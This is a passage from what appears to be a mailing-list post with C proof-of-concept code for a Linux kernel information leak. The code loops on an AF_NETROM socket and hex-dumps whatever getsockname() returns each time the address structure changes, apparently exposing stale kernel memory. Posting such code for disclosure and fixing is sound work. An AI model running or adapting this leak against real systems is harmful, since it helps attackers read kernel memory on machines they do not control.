break;
}
}
while (ret < 0);
}
void dump(unsigned char * data, unsigned int len)
{
unsigned int dp, p;
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
for (dp = 1; dp <= len; dp++)
{
printf("%02x ", data[dp-1]);
if ( (dp % 8) == 0 )
{
printf("| ");
p = dp;
for ( dp -= 8; dp < p; dp++ ) {
printf("%c", trans[data[dp]]);
}
printf("\n");
}
}
return;
}
int main(void)
{
struct sockaddr_ax25 sa;
int s, salen;
char prev[sizeof sa];
s = socket(AF_NETROM, SOCK_SEQPACKET, 0);
if (s < 0)
return -1;
srand(time(NULL) ^ getpid());
while (1)
{
kernop(s);
memset(&sa, 0, sizeof sa);
salen = sizeof sa;
if (getsockname(s, (struct sockaddr *) &sa, &salen) == 0)
{
if (memcmp(&sa, prev, salen) != 0)
{
dump((unsigned char *) &sa, salen);
memcpy(&prev, &sa, salen);
sleep(2);
}
}
}
close(s);
return 0;
}
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox